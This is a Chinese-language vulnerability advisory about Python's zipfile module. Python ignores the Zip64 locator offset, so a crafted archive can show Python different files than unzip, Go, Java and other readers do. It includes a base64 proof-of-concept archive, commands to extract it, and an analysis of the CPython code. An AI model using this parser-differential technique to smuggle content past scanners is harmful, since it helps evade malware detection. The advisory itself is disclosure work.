漏洞概述
受影响版本
- Python 3.12.9
- Python 3.13.5
已修复版本
无
漏洞描述
摘要
可以构造一个zip文件,当被Python的zipfile实现解析时,会返回与其他常见zip实现不同的内容。这是因为Python忽略了Zip64定位器记录中的偏移量。相反,Python的实现期望在Zip64定位器记录之前立即看到Zip64端部中央目录记录,并完全忽略偏移量。
这意味着可以存在两个Zip64端部中央目录记录:一个由Zip64定位器记录中的偏移量指向,另一个位于Zip64定位器记录之前。
严重性
中等 - 此漏洞可被利用来隐藏逃避检测的恶意内容。
概念验证
单文件Zip
以下base64编码字符串是一个特殊构造的zip文件,作为简单的概念验证:
1
|
$ echo "UEsDBBQAAAAAAAAAIQBLlVV3CwAAAAsAAAALAAAAYm9yaW5nX2ZpbGVub3QgcHl0aG9uClBLAQIUAxQAAAAAAAAAIQBLlVV3CwAAAAsAAAALAAAAAAAAAAAAAAC0AQAAAABib3JpbmdfZmlsZVBLBgYsAAAAAAAAAC0ALQAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAA5AAAAAAAAADQAAAAAAAAAUEsDBBQAAAAAAAAAIQBh7IWUCgAAAAoAAAAHAAAAcHlfZmlsZWlzIHB5dGhvbgpQSwECFAMUAAAAAAAAACEAYeyFlAoAAAAKAAAABwAAAAAAAAAAAAAAtAGlAAAAcHlfZmlsZVBLBgYsAAAAAAAAAC0ALQAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAA1AAAAAAAAANQAAAAAAAAAUEsGBwAAAABtAAAAAAAAAAEAAABQSwUGAAAAAAEAAQA5AAAANAAAAAAA" | base64 -d > poc.zip
|
使用Python解压:
1
2
3
4
5
6
|
$ mkdir ~/py && cd ~/py
$ python3 -c "import zipfile; zipfile.ZipFile('../poc.zip').extractall()"
$ ls
py_file
$ cat py_file
is python
|
使用unzip(InfoZip)解压:
1
2
3
4
5
6
|
$ mkdir ~/unzip && cd ~/unzip
$ unzip ../poc.zip
Archive: ../poc.zip
extracting: boring_file
$ cat boring_file
not python
|
输出boring_file的实现包括:
- Go
- java.util.zip(seek和streaming)
- InfoZip(unzip)
- MiniZip(zlib)
- PHP
- zip + async_zip Rust crates(seek和streaming)
- Yauzl(npm)
- net.lingala.zip4j(Maven)
- libarchive(bsdunzip)
进一步分析
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
# cpython/Lib/zipfile/__init__.py @ 6bf1c0ab3497b1b193812654bcdfd0c11b4192d8
# 简化实现,移除条件和错误处理
def _EndRecData64(fpin, offset, endrec):
fpin.seek(offset - sizeEndCentDir64Locator, 2)
data = fpin.read(sizeEndCentDir64Locator)
sig, diskno, reloff, disks = struct.unpack(structEndArchive64Locator, data)
# 假设没有'zip64可扩展数据'
fpin.seek(offset - sizeEndCentDir64Locator - sizeEndCentDir64, 2)
data = fpin.read(sizeEndCentDir64)
# ...
|
上面的代码片段是当前用于读取zip64端部中央目录记录的逻辑。
sizeEndCentDir64Locator和sizeEndCentDir64都是从导入时的struct.calcsize派生的常量。
当读取zip64端部中央目录时,zip64定位器记录(reloff)被完全忽略,而是从记录大小常量计算偏移量。
注释"假设没有’zip64可扩展数据’“似乎表明这种"固定偏移"行为是有意的,因为读取"zip64可扩展数据"字段需要将zip64端部中央目录记录视为具有可变大小。
然而,通过做出这个假设,Python的zip实现现在与大多数其他实现不同,这些实现确实使用zip64定位器记录中的偏移量。
最后,没有验证无扩展数据的假设。没有检查reloff以确保它对应于实际读取的zip64端部中央目录记录的位置。这意味着reloff可以指向一个单独的zip64端部中央目录记录,该记录返回与Python读取的内容不同的内容。
时间线
- 报告日期:2025年7月28日
- 修复日期:未提供
- 披露日期:2026年10月27日